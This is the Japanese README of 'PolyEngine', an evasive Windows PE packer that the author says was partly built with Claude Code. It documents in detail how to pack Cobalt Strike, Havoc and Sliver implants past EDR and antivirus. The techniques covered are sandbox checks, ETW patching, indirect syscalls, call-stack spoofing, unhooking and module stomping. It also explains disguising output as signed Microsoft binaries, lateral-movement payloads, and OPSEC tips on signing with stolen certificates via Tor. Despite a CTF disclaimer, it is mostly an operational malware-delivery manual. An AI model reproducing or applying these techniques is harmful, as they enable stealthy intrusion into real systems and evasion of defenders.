アップデート一覧に戻る
UpdatedJul 28, 2026

PolyEngine — Updated!

PolyEngineは、CTFチャレンジや低レベルのWindowsセキュリティ教育向けに設計された回避型PEパッカーです。EDRおよびAVのヒューリスティックを、メモリ内実行と難読化技術の層状スタックを通じてバイパスすることに重点を置いています。

共有

PolyEngine — ポリモーフィックPEパッカー 📦

PolyEngine は、CTFチャレンジや低レベルのWindowsセキュリティ教育向けに設計された、研究グレードの回避型PEパッカーです。EDRやAVのヒューリスティックを、メモリ内実行と難読化技術の階層的なスタックを通じてバイパスすることに焦点を当てています。

これは私がしばらく取り組んできたサイドプロジェクトです。Claude Codeを使用して、自分のPEパッカーに実装したいと思っていた技術の一部を実装・修正しました。関数とその機能に関するコメントが多数あります。これは私にとって大きな学習経験であり、Claudeはこれを完璧にこなしてくれます(私は苦手ですが)。誰かがWindowsの内部構造を学んだり、ProLabs 🏯 に取り組む際に、より高度なソリューションからのAVや静的検出を回避するのに役立つことを願っています。

🔥 MalDevAcademy に、作成のためのすべての資料とインスピレーションに対して心から感謝します。

🌩 vx-underground に、馬鹿げた猫の冗談めいたツイートを通じてインスピレーションを与えてくれたことに感謝します。

免責事項: このツールは、許可されたセキュリティテスト、CTF競技、教育目的専用です。明示的な許可なくシステムに対して使用することは禁止されています。作者は誤用に対する一切の責任を負いません。


使用方法

ビルド順序: スタブ→ビルダー。スタブ Release|x64 は stub_v0.bin..stub_v3.bin を生成します。ビルダーはそのうちの1つを .rsrc に埋め込みます。

stub_v0.bin..stub_v3.bin が作業ディレクトリにあることを確認してください(または --stub を渡してください)。``` Builder.exe [OPTIONS]

Target PE (.exe/.dll) or raw shellcode (.bin) Payload type is auto-detected from the MZ header - no flag needed. Output executable

Loader: --stub Loader stub PE [default: random ./stub_v0.bin..stub_v3.bin] --preset PRINT|MEDIA|NETWORK|RANDOM Module stomping DLL preset [default: PRINT] --overload Module overloading instead of stomping (NtCreateSection/NtMapViewOfSection, not in PEB LDR) --keep-alive ExitThread(0) instead of ExitProcess (required for C2 implants that spawn their own threads) --unhook Restore original .text bytes in ntdll/kernel32/ kernelbase from \KnownDlls\ clean copies (overwrites EDR inline hooks before any payload syscall)

Payload (PE/DLL only, silently ignored for shellcode): --export DLL export to invoke after DllMain --arg Argument passed to the export [max 127 chars]

Evasion (all ON by default): --spoof-name Process name for PEB spoof [default: random from pool] Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe SearchIndexer.exe taskhostw.exe spoolsv.exe wlrmdr.exe WMPDMC.exe hvix64.exe --exec-ctrl-name Semaphore name for exec-ctrl check [default: wuauctl] (max 31 chars) --sleep-fwd-ms Sleep duration for sleep-fwd check [default: 500] Detection threshold: 90% of elapsed --uptime-min Uptime threshold for uptime check [default: 2] --hammer-s API-hammer delay duration [default: 3] --disable <token,token...> Disable one or more features (comma-separated, repeatable)

OPSEC tokens: etw EtwEventWrite patch (ETW telemetry suppression) spoofing Call-stack spoofing (SilentMoonwalk RSP pivot) peb PEB path/cmdline spoof tls TLS anti-debug callback (patches loader stub before embedding)

Sandbox/debug check tokens: hammer API-hammer timing delay (VirtualAlloc/Free loop) debugger Debugger detection (PEB flags / NtQueryInformationProcess) api-emu API emulation probe (RtlComputeCrc32 identity check) exec-ctrl Execution-control semaphore (re-execution detection) sleep-fwd Sleep-forwarding detection (timing) uptime System uptime check cpu CPU count check (< 2 logical cores) screen Screen resolution check (<= 1024 px width) files Recent-files count check (< 5 RecentDocs subkeys) all Disable every token listed above

Identity spoofing: --pfx PFX certificate container to sign the output with --pfx-pass PFX passphrase [omit if PFX has no password] --ts-url RFC 3161 timestamp URL [default: no timestamping] OPSEC: timestamping reveals build IP/time to the TSA. Enable only when signing from an isolated VM, or when the signature must survive cert revocation. --clone-meta <donor.exe> Clone VERSIONINFO, icon, and Authenticode cert directory from a donor PE (e.g. notepad.exe, OneDrive.exe). Explorer "Details" tab shows donor company/product/version; file icon matches donor; "Digital Signatures" tab shows donor's signer (HashMismatch — defeats visual inspection only). Name output to match donor OriginalFilename field. When combined with --pfx: real signature overwrites cloned cert. --uac Embed a UAC elevation manifest (requireAdministrator). Output PE prompts for admin privileges on launch. Applied as Phase 10.5 (after packing, before signing).

Examples: Builder.exe implant.exe packed.exe Builder.exe implant.exe packed.exe --stub stub_v2.bin Builder.exe shellcode.bin packed.exe --keep-alive Builder.exe beacon.dll packed.exe --export Start --keep-alive Builder.exe payload.dll packed.exe --export Execute --arg "calc.exe" Builder.exe implant.exe packed.exe --preset NETWORK --disable etw,tls Builder.exe implant.exe packed.exe --overload --hammer-s 5 --uptime-min 5 Builder.exe implant.exe packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000 Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx Builder.exe implant.exe packed.exe --uac Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx

## 使用例

シナリオごとにグループ化された使用例。すべてのフラグはオプトアウト(回避はデフォルトで完全に有効)なので、最もシンプルな呼び出しですでにフルスタックが適用されます。

<details>
<summary><b>基本パッキング - EXE / DLL / shellcode</b></summary>

アンマネージドEXEをパックします。ビルダーは自動的に`MZ`ヘッダーを検出し、RunPEパスを経由します:```
Builder.exe implant.exe packed.exe

生の位置独立シェルコード(Cobalt Strike .bin、msfvenom -f raw など)をパックします。MZ は使わず、展開されたバッファに直接呼び出します:``` Builder.exe beacon.bin packed.exe

DLLをパックし、そのデフォルトの`DllMain`のみを呼び出す(エクスポートなし):```
Builder.exe payload.dll packed.exe

デフォルト以外の場所からスタブを使用する:``` Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin

</details>

<details>
<summary><b>DLLペイロード(エクスポートあり)- Havoc / Sliver / カスタムビーコン</b></summary>

`DllMain` が戻った後、名前付きエクスポートを呼び出します。ほとんどのC2インプラントは、単一のエントリエクスポートを持つDLLとして出荷されます(例:Havoc Demon: `Start`、Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive

exportに文字列引数を渡します(最大127文字)。設定文字列、URL、またはシェルコマンドを受け取るペイロードに便利です:``` Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage" Builder.exe loader.dll packed.exe --export Run --arg "C:\Windows\System32\calc.exe"

`--keep-alive`は、独自のスレッドを生成するペイロードに必要です。これがないと、ローダーが`ExitProcess`を呼び出してビーコンを強制終了します。

</details>

<details>
<summary><b>長期実行インプラント(C2ビーコン)</b></summary>

Cobalt Strike / Sliver / Havocはすべてビーコンスレッドを生成して戻ります。ローダースレッドはプロセスを停止させずに終了する必要があります。```
Builder.exe beacon.exe   packed.exe --keep-alive
Builder.exe beacon.bin   packed.exe --keep-alive
Builder.exe demon.dll    packed.exe --export Start --keep-alive
モジュールスタンピングのプリセット - ホストDLLの選択

復号化スタブは、無害なWindows DLLの.textセクション内に隠されています。ターゲットコンテキストにおいて、読み込まれたモジュールが最も正当に見えるプリセットを選択してください:``` Builder.exe implant.exe packed.exe --preset PRINT Builder.exe implant.exe packed.exe --preset MEDIA Builder.exe implant.exe packed.exe --preset NETWORK Builder.exe implant.exe packed.exe --preset RANDOM

`PRINT` (デフォルト) - `xpsservices.dll`、`msi.dll`、`dbghelp.dll`。ほとんどのワークステーションで一般的です。
`NETWORK` - `winhttp.dll`、`wtsapi32.dll`、`wlanapi.dll`。既にネットワークAPIがロードされているペイロードに適合します。
`RANDOM` - フルプールから3つのランダムなインデックス(`bcrypt.dll`(idx 9)を含む)。

`LoadLibraryW` スタンピングから `NtCreateSection`+`NtMapViewOfSection` オーバーローディングへの切り替え(DLLは `PEB.Ldr` に入らない):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
EDRユーザーランドフック解除

\KnownDlls\からntdllkernel32kernelbaseのクリーンな.textバイトを復元し、EDRのインラインフックをすべて上書きします。HellsHallは既に機密性の高いNt*フックをバイパスしています。--unhookは、ペイロード自体がフックされたWin32 API(例:LoadLibraryCreateProcess)を呼び出す場合にのみ必要です。``` Builder.exe implant.exe packed.exe --unhook Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive

</details>

<details>
<summary><b>PEBスプーフィング - プロセスの偽装</b></summary>

自動選択されたスプーフ名を上書きします。親プロセスや起動コンテキストに合ったものを選んでください(Officeマクロで`RuntimeBroker.exe`は不自然ですが、`WmiPrvSE.exe`の方が溶け込みます):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe

スプーフ名は単なるASCIIファイル名です。Stubは実行時にC:\Windows\System32\を先頭に追加します。デフォルトの9プロセスプールに含まれないものも動作します。

回避しきい値の調整

判断前に数十秒実行する忍耐強いサンドボックスに対する、より長いハンマーディレイ:``` Builder.exe implant.exe packed.exe --hammer-s 10

高い稼働時間しきい値 - ボックスが少なくとも30分以上起動している場合のみ実行(ほとんどのサンドボックスはサンプルごとに新しいVMを起動します):```
Builder.exe implant.exe packed.exe --uptime-min 30

より厳格なスリープフォワーディング検出(より短いスリープ、観察可能なエラーなしでの早送りがより困難):``` Builder.exe implant.exe packed.exe --sleep-fwd-ms 200

Custom semaphore name for the exec-control check (avoids clashing with another sample using the default `wuauctl`):
exec-controlチェックのためのカスタムセマフォ名(デフォルトの `wuauctl` を使用する別のサンプルとの競合を回避します):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync

パラノイドプロファイルのためにすべてを積み上げる:``` Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate

<details>
<summary><b>デバッグ/ラボ作業のための機能無効化</b></summary>

デバッガで反復処理を行う際、TLSコールバックとデバッガチェックが即座に発動します。自由にアタッチするには、両方を無効にしてください:```
Builder.exe implant.exe packed.exe --disable tls,debugger

すべてのサンドボックスチェックをスキップ(OPSEC機能は有効のまま - ETW patch, PEB spoof, call-stack spoof):``` Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files

同じ内容を、より短く:```
Builder.exe implant.exe packed.exe --disable all

特定のOPSEC機能を無効にする(例:ターゲット環境でETWパッチングが不要な場合、またはPEBスプーフが自身のPEBを走査するペイロードを破壊する場合):``` Builder.exe implant.exe packed.exe --disable etw Builder.exe implant.exe packed.exe --disable peb,spoofing

`--disable all` はサンドボックス/デバッグチェックのみを対象とします。OPSECトークン(`etw`、`spoofing`、`peb`、`tls`)は明示的にリストする必要があります。

</details>

<details>
<summary><b>アイデンティティクローニング — VERSIONINFO、アイコン、Authenticode証明書</b></summary>

任意のドナーPEの外観上のアイデンティティをパックされた出力にコピーします。出力バイナリのエクスプローラのプロパティ、タスクバーアイコン、およびデジタル署名タブはすべてドナーを反映します:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"

クローンされるもの:

  • VERSIONINFO (RT_VERSION) — Explorerの「プロパティ → 詳細」タブ: 会社名、製品名、ファイルバージョン、著作権。ドナーに存在するすべての言語IDがコピーされます。
  • アイコン (RT_GROUP_ICON + RT_ICON) — 最も低いIDのアイコングループ(Explorerがシェルアイコンに使用するもの)。タスクバー、Alt+Tab、ファイルブラウザすべてにドナーのアイコンが表示されます。
  • Authenticode証明書ディレクトリ — 生のWIN_CERTIFICATE PKCS#7ブロブが8バイトアライメントされたEOFに追加されます。Explorerの「プロパティ → デジタル署名」にはドナーの署名者(例: Microsoft Windows)が表示されます。Get-AuthenticodeSignatureStatus = HashMismatchを返します — 署名は構造的に有効ですが、ハッシュはドナーのバイトをカバーしており、当方のものではありません。カジュアルな目視検査を妨害しますが、実際の検証ツール(signtool verifyWinVerifyTrust、AVエンジン)は不一致を検出します。

OPSEC — OriginalFilename: ドナーのVERSIONINFOにはOriginalFilename(例: notepad.exe)が埋め込まれています。一部の署名チェッカーやDefenderのヒューリスティックは、OriginalFilenameとディスク上の実際のファイル名の不一致をフラグします。出力の名前を次のように一致させてください:``` Builder.exe implant.exe notepad.exe --clone-meta notepad.exe

**`--pfx`との組み合わせ:** 両方のフラグが存在する場合、フェーズ11(クローン)がフェーズ12(署名)の前に実行されます。実際の署名がクローンされた証明書ディレクトリを上書きします。VERSIONINFOとアイコンは保持されます。`Get-AuthenticodeSignature` は、提供元のハッシュ不一致の証明書ではなく、あなたの証明書を有効として表示します。```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2

検証:```powershell

Fake cert clone (no --pfx): expect HashMismatch, donor signer

Get-AuthenticodeSignature .\notepad.exe | Format-List *

Real signature (--pfx): expect Valid, your cert

Get-AuthenticodeSignature .\notepad.exe | Format-List *

signtool independent check

signtool verify /pa /v notepad.exe

</details>

<details>
<summary><b>UAC elevation — requireAdministrator マニフェスト</b></summary>

`requestedExecutionLevel="requireAdministrator"` マニフェストを埋め込むことで、起動時に出力PEがUACプロンプトをトリガーし、ユーザーが承認した場合に高整合性トークンを受け取ります:```
Builder.exe implant.exe packed.exe --uac

マニフェストは RT_MANIFEST リソース(リソースID 1 — CREATEPROCESS_MANIFEST_RESOURCE_ID)であり、Windowsローダーがアプリケーション互換性と特権マニフェストをチェックするのと同じスロットです。それ以外の出力は --uac なしのビルドと同一で、Stub やペイロードパスに変更はありません。

--clone-meta および --pfx との組み合わせ: フェーズ10.5(マニフェスト)はフェーズ11(クローン)およびフェーズ12(署名)の前に実行されます。フェーズ12で計算されたAuthenticode署名は、マニフェストを含むすべての埋め込みリソースをカバーします。ハッシュは最終的なバイナリに対して有効です。UACダイアログには、署名証明書の発行者名が表示されます:``` Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2

**OPSEC:** UACプロンプトは可視的でユーザーに直面するイベントです。「このアプリがデバイスに変更を加えることを許可しますか?」というダイアログには、ディスク上のファイル名とAuthenticode発行元(署名なしの場合は「不明な発行元」)が表示されます。`--uac` と `--clone-meta` を組み合わせて見慣れたアイコンを表示し、`--pfx` で信頼できる発行元を表示します。既に昇格したプロセス(例:サービス、WMIの横展開、ローカル管理者シェル)から開始される無人実行の場合は、`--uac` は不要です。

</details>

<details>
<summary><b>オーセンティコード署名(PFX、signtoolなし)</b></summary>

パックされた出力にPFX証明書で署名します。ビルダーは `mssign32!SignerSignEx2` と直接通信します。オペレータのワークステーションに `signtool.exe` は不要で、Windows SDKの署名ツールも必要ありません:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2

パスワードなしのPFX(--pfx-passフラグを完全に省略):``` Builder.exe implant.exe packed.exe --pfx cert.pfx

RFC 3161 タイムスタンプを追加して、証明書の有効期限が切れたり失効した後も署名が有効であり続けるようにします。タイムスタンプ認証局はビルドの IP アドレスと正確な署名時刻を記録することに注意してください — 下記の OPSEC ノートを参照してください:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1

OPSEC — タイムスタンプを省略する場合: --ts-url はオプトインです。公開TSAへの各リクエストは、署名が生成された正確な秒とともに、オペレーターのビルドホストをTSAのHTTPログに記録します。これは、サンプルが後でインシデント対応で発見された場合に強力なフォレンジック相関を提供します。タイムスタンプを埋め込むと、その同じ瞬間がパックされたPE内の署名ブロブに刻印され、後で分析者が読み取ることができます。タイムスタンプが不要な場合(自己署名証明書や、証明書の有効期限を超えた署名の有効性が問題にならない短期間の運用で一般的)、フラグを省略すれば署名は完全にエアギャップ対応のままです。

OPSEC — タイムスタンプを保持する場合: 盗難された、または失効予定の短期間のコード署名証明書は、TSAのカウンター署名から恩恵を受けます。Windowsは、タイムスタンプが失効エントリよりも前であれば、失効後も署名を受け入れます。その場合、プロキシ/Tor経由で隔離されたVMから署名し、TSAのログを意図的(しかし限定された)露出として扱います。

秘密鍵は永続化されません: PFXImportCertStorePKCS12_NO_PERSIST_KEY で呼び出されるため、%APPDATA%\Microsoft\Crypto の下にキーコンテナは出現しません。SHA-256ダイジェスト、New-SelfSignedCertificate およびOpenSSL ≥3.x によって生成されたPFXとの互換性のためにCNG優先のKSP。

現実的な組み合わせ

Cobalt StrikeビーコンDLL、ネットワークをテーマにしたホスト、完全な回避、カスタムミューテックス名:``` Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate

Havoc Demon シェルコード、スタンピングの代わりにオーバーロード、より長いハンマーディレイ:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6

トリガーを制御でき、アンチデバッグが不要なCTF用のStage-2 EXE:``` Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger

パス引数を取る横移動補助DLL:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook

Microsoft の一般的なバイナリを偽装した長期潜伏型インプラント、完全な回避スタック:``` Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10

実際の自己署名証明書と一致するVERSIONINFO IDを含むパックされたサンプル:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test

ビルド

Visual Studio 2022 (MSVC v143)、Release|x64のみ。 PolyEngine.slnを開きます。

ビルド順序が重要です:

  1. Stub プロジェクト (Release|x64) → MSBuildのファンアウトにより x64/Release/stub_v0.binstub_v3.bin が生成されます (POLY_VARIANT=0..3)
  2. Builder プロジェクト → Builder/x64/Release/Builder.exe を生成します(ソリューションのOutDirも可)

stub_v*.bin は、リンカーエントリ EntryPoint のみを持つPEです(CRTなし)。バリアントはOPSECフェーズの順序とデコイ/アイランドレイアウトが異なります。HellsHall/Moonwalkは共有のままです。BuilderはCWDからランダムに1つ(または --stub 経由で)選択し、StubMorphを実行し、ペイロードをビルドごとのRT_RCDATA IDに埋め込みます。

MASM: Stub.vcxprojHellsHall.asm; Builder → Engine/DecryptorStub.asm。CMake、Makefileはありません。

新しいAPIハッシュを追加するには: Djb2HashA("ApiName") を計算し(ApiHashing.cppと同じアルゴリズム)、ApiHashing.hg_Hash_* グローバルを追加し、ApiHashing_InitHashes() で初期化します。


アーキテクチャ概要

3つのコンポーネントがパック→暗号化→インジェクションパイプラインを実装しています:Builderは入力PE/シェルコードをパックし、Engine(共有ライブラリ)は暗号化/圧縮/変異プリミティブを提供し、Stubは出力PEに埋め込まれたランタイムエグゼキュータです。

詳細なパイプラインとStub実行フロー``` Builder.exe ├── picks loader stub (random stub_v0..v3.bin, or --stub ) ├── reads target PE or raw shellcode (.bin) ├── LZNT1 compress ├── CompoundEncrypt (inner cipher: XOR+ROL+ADD+XOR, per-build key) ├── MutationEngine → unique polymorphic ASM decryptor per build ├── CryptGenRandom → per-build XTEA key salt + DLL preset indices ├── XTEA-CTR encrypt (outer layer) ├── BuildInfectedPE: │ ├── patch TLS guard marker (--disable tls) │ ├── patch g_PayloadResIdMarker → per-build RT_RCDATA ID │ ├── StubMorph_Apply → timestamp, section-name profile, island/tag randomize │ ├── write stub → output PE │ └── UpdateResource(RT_RCDATA, id) → [XTEA blob | 280-byte metadata] ├── (optional) UAC manifest / clone-meta / Authenticode sign └── Output.exe

Output.exe (= stub_v* variant + StubMorph + .rsrc payload) ├── Loader_InitApis — ApiHashing_InitHashes + resolve kernel32 APIs ├── Loader_LoadPayload — GetPayloadFromResource (280-byte metadata / opsecFlags) ├── Loader_Evasion — HammerDelay + RunChecks (Win32 only, before syscalls) ├── Loader_InitSyscalls — FreshyCalls SSN sort + InitNtApi (HellsHall bind) ├── Loader_OpsecPhase — order depends on POLY_VARIANT (0..3): │ Unhook / StackSpoof_Init / PatchEtw / XTEA decrypt / SpoofPeb │ (HellsHall.asm + g_Spoof* layout identical in every variant) ├── Loader_DecryptExec — ModuleStomp or ModuleOverload; decryptor RX call (RCX=payload); │ LZNT1 decompress; restore stomped .text └── Loader_RunPayload — StackSpoof_Cleanup then RunPE (PE) or RX+call (shellcode); keep-alive: ExitThread (PE) or Sleep park (raw SC)

</details>

---

## 回避技術

<details>
<summary><b>ローダーバリアント — <code>stub_v0.bin</code>..<code>stub_v3.bin</code></b></summary>

Stub Release|x64ビルドでは、MSBuildを介して**4つ**のローダーが生成されます(`POLY_VARIANT=0..3`、それぞれ別の`IntDir`)。各バイナリは異なるOPSECフェーズの順序を持ち、バリアントごとに異なるデコイ/アイランドサイズ(`PolyIslands.c`)を持つため、静的ハッシュは異なります。共有され、**決して**バリアントごとに分岐しないもの:`HellsHall.asm`、SilentMoonwalkデータレイアウト(`g_SpoofSyntheticStack`)、TLS/ResIDマーカータグ。

| バリアント | `Loader_OpsecPhase` の順序 |
|---|---|
| V0 | Unhook → Spoof → ETW → XTEA → PEB |
| V1 | Spoof → Unhook → XTEA → PEB → ETW |
| V2 | Unhook → Spoof → PEB → XTEA → ETW |
| V3 | Spoof → ETW → Unhook → XTEA → PEB |

`--stub`なしのビルダーは、CWD内の`stub_v0.bin`..`stub_v3.bin`からランダムに選択します(`CryptGenRandom`)。`--stub <path>`で1つのファイルを強制します。

</details>

<details>
<summary><b>パック時のStubMorph</b></summary>

TLS/ResIDマーカーパッチ後、出力PEの書き込み前に、`StubMorph_Apply`(`Engine/StubMorph.c`)が選択されたローダーイメージをインプレースで変異させます:

- 妥当な`TimeDateStamp`が**[現在−5年, 現在]**の範囲から生成されます — 完全にランダムなDWORDは未来に設定される可能性があり、これはヒューリスティックフラグとなります
- ツールチェーンプロファイルのセクション名(MSVC / MinGW / Delphi / NSISスタイル、ビルドごとに選択; `.rsrc`, `.reloc`, `.tls`, `.CRT`はスキップ) — ランダムな8文字の名前はUPXスタイルのパッカーヒューリスティックに引っかかるため避けます
- `IMAGE_DIRECTORY_ENTRY_DEBUG` + PEチェックサムをクリア(後で`--pfx`が指定された場合に再計算)
- POLYアイランドパッド(`PolyIslands.c`内の`50 4C 59 A0` … `AF`マーカー、`g_PolyDecoy`アイランドを含む)を**同じ長さ**のランダムバイトで書き換え、その後タグマーカー自体をランダム化 — 出力PEには`PLY`パターンや固定デコイコンテンツは残りません; PEサイズの増加なし、再配置修正なし

HellsHall、スプーフィンググローバル、またはTLS/ResIDパッチで使用されるマーカータグには触れません。

</details>

<details>
<summary><b>間接システムコール — HellsHall</b></summary>

すべての機密NT操作(`NtProtectVirtualMemory`, `NtAllocateVirtualMemory`など)は、プロセスntdllのフックされたユーザーモードスタブではなく、間接システムコールを経由します:

1. 起動時に、`Syscalls_Init()` がプロセスntdllのエクスポートディレクトリを解析し、すべての`Zw*`関数のRVAをフラットテーブルに収集します。
2. SSNは**RVA順序付け**(HellsGate/FreshyCallsバリアント)によって導出されます:すべての`Zw*` RVAがソートされ、ソートされたインデックスがSSNとなります。フックにとらわれない設計 — EDRが関数プロローグを書き換えても、フックはエクスポートの順序を変更しないため機能します。
3. `syscall; ret`(`0F 05 C3`)トランポリンがプロセスntdllの`.text`セクション内に配置されます。この3バイトシーケンスはすべての`Nt*`スタブの標準的な末尾です。EDRユーザーランドインラインフックは、エクスポートされた`Nt*`関数の**エントリポイント**(最初の5~15バイト)をターゲットにします — スタブの途中のsyscall命令には決して触れません。なぜなら、スタブの途中にパッチを当てるとそのセマンティクスが壊れるからです。したがって、一致するサイトのバイトは変更されておらず、クリーンな`\KnownDlls\`マッピングと同一であり、ディスク上の`C:\Windows\System32\ntdll.dll`にバックアップされたMEM_IMAGEメモリに存在します。`g_CleanTrampoline`はそこを直接指します — セカンダリntdllマッピングやMEM_PRIVATEコピーは不要です。
4. すべてのシステムコールは`g_CleanTrampoline`にジャンプします — エクスポートされたNt*エントリポイントのEDRフックはバイパスされます。ETWカーネル側スタックウォーカーの観点からは、リーフフレームはすでに`ntdll.dll`内にあります(「バックアップされていないシステムコール」IOCは発生しません)。

</details>

<details>
<summary><b>ユーザーランドアンフック — <code>--unhook</code></b></summary>

`Syscalls_Init()` 後、ペイロード関連のシステムコールの前に1回だけ実行されるオプションのパス。各 `ntdll`、`kernel32`、`kernelbase` に対して:

1. `NtOpenSection(\KnownDlls\<dll>)` + `NtMapViewOfSection` — クリーンなイメージバイト(ローダーが最初にマッピングしたのと同じ共有セクション。EDRがフックをインストールする前の状態)。
2. ライブの`.text`とクリーンコピーをページ単位で`memcmp`比較。
3. バイトが異なる場合(= EDRインラインフック):`NtProtect RX→RW`、フックの上にクリーンバイトを`memcpy`、`NtProtect RW→RX`。
4. マップ解除してクローズ。

これにより、その後のWin32呼び出し(PEBウォーク、`LoadLibrary`など)のための通常の`ntdll.dll`/`kernel32.dll`/`kernelbase.dll`セマンティクスが復元されます。`--unhook`が省略された場合はスキップされます — HellsHall単独ですべての機密`Nt*`フックをバイパスできるため、アンフックはオプトインです(より重いアクションであり、異常なフックレイアウトを壊す小さなリスクがあります)。

</details>

<details>
<summary><b>コールスタックスプーフィング — SilentMoonwalk RSPピボット</b></summary>

EDRは、システムコールが発火した時点でスレッドのコールスタックを監視し、呼び出し元チェーンが正当に見えるかどうかを検証します。PolyEngineはこれを**SilentMoonwalkスタイルのRSPピボット**で打ち負かします — ハードウェアブレークポイントなし、VEHハンドラなし、例外なし:

1. `StackSpoof_Init()` はntdllの`.text`(およびその他の`IMAGE_SCN_MEM_EXECUTE`セクション)をスキャンして2つのガジェットを見つけます:
   - **ガジェット1** — `add rsp, imm8; ret`(`48 83 C4 XX C3`)で、その`UNWIND_INFO`が一致する`imm8`割り当てデルタを宣伝している関数内にあるもの。`imm8 < 0x20`に制約され、チェーンが転送されたスタック引数と衝突しないようにします。
   - **ガジェット2** — `jmp rbx`(`FF E3`)。生のバイトスキャンにより任意の実行可能セクションに配置されますが、一致するサイトがクリーンに解析される`RUNTIME_FUNCTION`内にある場合のみ受け入れられます。その関数の`allocDelta`によって、`RtlUserThreadStart`が合成スタック上のどこに植えられるかが決まるため、一致するランタイム関数がないガジェットはEDRから見えるチェーンを壊します。長い命令の途中にジャンプしても問題ありません — CPUはガジェットアドレスから`FF E3`を前のバイトに関係なくデコードします。
2. 静的`g_SpoofSyntheticStack[32]`は、トランポリンの`ret`がガジェット1 → ガジェット2 → ローダーの継続ポイントへと進み、`RtlUserThreadStart`がさらに下にスレッドルートとして植えられるようにレイアウトされます。
3. `HellsHallSyscall`へのすべての呼び出し(スプーフィングが有効な場合)は、`push rbx; lea rbx, AfterJmpPoint; mov [g_SpoofSavedRsp], rsp; lea rsp, g_SpoofSyntheticStack; jmp r11`を実行します。カーネルは、正当なntdllコードにアンカーされた合成スタックを指すRSPを見ます。
4. スタックベースのシステムコール引数(5..10)は、呼び出し元のフレームから合成スタックのオフセット`0x28..0x50`にピボット**前**に転送されます — これがないと、カーネルはガジェットアドレスを引数として読み取り、`STATUS_ACCESS_VIOLATION`を返します。
5. システムコール後、ガジェット2の`jmp rbx`が`AfterJmpPoint`に着地し、`g_SpoofSavedRsp`からRSPを復元し、`rbx`をポップしてローダーに戻ります。
6. `StackSpoof_Cleanup()` は`g_SpoofEnabled`をクリアし、ペイロード自身のスレッドが実際のリターンアドレスを見るようにします。

</details>

<details>
<summary><b>モジュールスタンピング / モジュールオーバーローディング</b></summary>

`VirtualAlloc(RWX)`の代わりに、ポリモーフィック復号化ルーチンは正規にロードされたWindows DLLの`.text`セクション内で実行されます。RWXメモリは決して割り当てられません。

**スタンピング(デフォルト — `LoadLibraryW`、DLLはPEB LDRに表示される):**

1. `ModuleStomp_Alloc()` は`--preset`で選択された3つのDLLを反復処理します。DLLインデックスは`.rsrc`に保存され、実行時に`g_DllPool`から解決されます。
2. 復号化スタブに十分な大きさの実行可能セクションを持つ最初のDLLが選択されます。
3. 元の`.text`バイトは、セクションに触れる前にプライベートな`RW`バッファに保存されます。
4. 復号化スタブ(のみ)がスタンプされた領域にコピーされます。ペイロードブロブは**別の**`RW`割り当て(`pEncryptedPayload`)に残ります。
5. `NtProtect RW → RX`:スタンプされた領域が実行可能になります。ペイロード割り当ては`RW`のまま — 復号化ルーチンはそのアドレスを`RCX`(Windows x64 ABIの最初の引数)で受け取ります。
6. 復号化ルーチンが実行され、`pEncryptedPayload`をインプレースで復号化します。復帰直後に`NtProtect RX → RW`。
7. 領域がワイプされ、元のバイトが復元され、セクションが`PAGE_EXECUTE_READ`に戻されます。

**オーバーローディング(`--overload` — `NtCreateSection(SEC_IMAGE)` + `NtMapViewOfSection`、PEB LDRには表示されない):**

- 保存/復元パターンとRWX不使用の不変条件はスタンピングと同じです。
- DLLは生のファイルハンドルから直接マッピングされ、`PEB.Ldr`には決して現れず、ロードされたモジュールを列挙するツールを無効化します。
- 使用後:`NtUnmapViewOfSection`がCOWプライベートページを破棄し、書き込みの証拠をすべて削除します。

**両方の場合の結果:** メモリ領域は`MEM_IMAGE`であり、DLLのファイルにバックアップされています — メモリスキャナーは正当なイメージマッピングを見て、匿名の`VirtualAlloc`領域とは認識しません。

</details>

<details>
<summary><b>ポリモーフィック復号化ルーチン — MutationEngine</b></summary>

各ビルドは一意の34バイトx64 ASM復号化スタブを生成し、以前のビルドと同一になることはありません:

